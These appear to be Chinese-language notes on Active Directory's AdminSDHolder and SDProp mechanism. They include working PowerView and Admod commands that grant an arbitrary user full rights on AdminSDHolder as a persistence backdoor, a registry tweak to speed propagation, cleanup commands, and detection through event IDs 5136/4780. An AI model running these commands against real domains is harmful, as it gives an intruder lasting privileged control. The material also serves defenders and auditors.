使用检查工具:Zbang: https://github.com/cyberark/zBang
受保护对象(通常是一些特权内置账号如Domain Admins、Enterprise Admins等)被系统安全策略保护,以避免这些特权对象被恶意修改或滥用(防止被删除、修改权限等)。每一个被保护的对象由SDProp进程(Security Descriptor Propagation安全描述符传播器)监控保护,SDProp进程每60分钟运行一次,运行时检查受保护对象的安全描述符,检查将依照AdminSDHolder容器的ACL,如果与受保护对象的ACL配置与AdminSDHolder容器的ACL配置不一致,SDProp进程将重写该受保护对象的ACL,使其恢复与AdminSDHolder容器相同的ACL配置
AdminSDHolder对象的目的可理解为是为域内受保护的用户和组提供权限的"模板",其在LDAP上路径为: CN=AdminSDHolder,CN=System,DC=<>,DC=<>
AdminSDHolder默认保护的对象(Windows 2008/Windows 2008R2)
Account Operators
Administrator
Administrators
Backup Operators
Domain Admins
Domain Controllers
Enterprise Admins
Krbtgt
Print Operators
Read-only Domain Controllers
Replicator
Schema Admins
Server Operators
在不同系统版本的域控制器上受保护的用户和组也不同,具体可以参考微软文档:https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c–protected-accounts-and-groups-in-active-directory
被SDProp进程保护的对象会将AdminCount属性设置为1(可借助LdapAdmin等工具查看),SDProp进程根据该属性识别哪些对象是受保护的。当一个原本受保护的对象从受保护组中移除之后,AdminCount属性不会被重置(仍然保持原来的设置值)
可以通过adfind来查询(http://www.joeware.net/freetools/tools/adfind/index.htm)
Adfind.exe -f "&(objectcategory=group)(admincount=1)" -dn
Adfind.exe -f "&(objectcategory=user)(admincount=1)" -dn
可通过powerview脚本查询,建议使用dev目录下的(https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
Import-Module .\PowerView.ps1;Get-NetUser -Admincount
Import-Module .\PowerView.ps1;Get-NetGroup -Admincount
可利用powerview
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=byjb,DC=com" -PrincipalIdentity zhangsan -Verbose -Rights All
也可以利用Admod(http://www.joeware.net/freetools/tools/admod/index.htm)
.\Admod.exe -b "CN=AdminSDHolder,CN=System,DC=byjb,DC=com" "SD##ntsecuritydescriptor::{GETSD}{+D=(A;;GA;;;byjb\zhangsan)}"
Import-Module .\PowerView.ps1
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=byjb,DC=com" -PrincipalIdentity zhangsan -Rights All -Verbose
为了将可继承ACE的更改传播到后代对象,域控制器运行一个称为安全描述符传播器(SDPROP)的后台任务。通过修改对象的安全描述符或移动对象时触发此任务
修改SDPROP运行频率
当修改了AdminSDHolder的ACL之后默认等待60分钟以后生效,原理是SDPROP进程在PDC模拟器上每60分钟运行一次,并使用AdminSDHolder设置的安全权限重新标记ACL
可以通过注册表的方式修改推送时间,将SDPROP的频率修改(最小值1分钟,最大值2小时),需要慎重修改, 当修改的频率变高时,CPU处理LSASS的开销也就越大,这很容易导致系统变得卡顿,该注册表键默认不存在
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
手动运行SDProp(https://learn.microsoft.com/zh-cn/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c–protected-accounts-and-groups-in-active-directory)
2016暂时没有尝试,手动触发需要使用LDP程序,需要以管理员权限运行,在进行连接、绑定之后,通过添加 RunProtectAdminGroupsTask 并将值设置为1,具体步骤可参考上述链接。win server 2008和2012的触发需要添加的值是不同的
Windows Event 5136 【Windows 10,ConvertFrom-SDDL4中有一个 PowerShell cmdlet ,可将 SDDL 字符串转换为更易读的 ACL 对象。】
ConvertFrom-SDDLstring "要解析的sddl字符串"
Windows Event 4780 同步ACL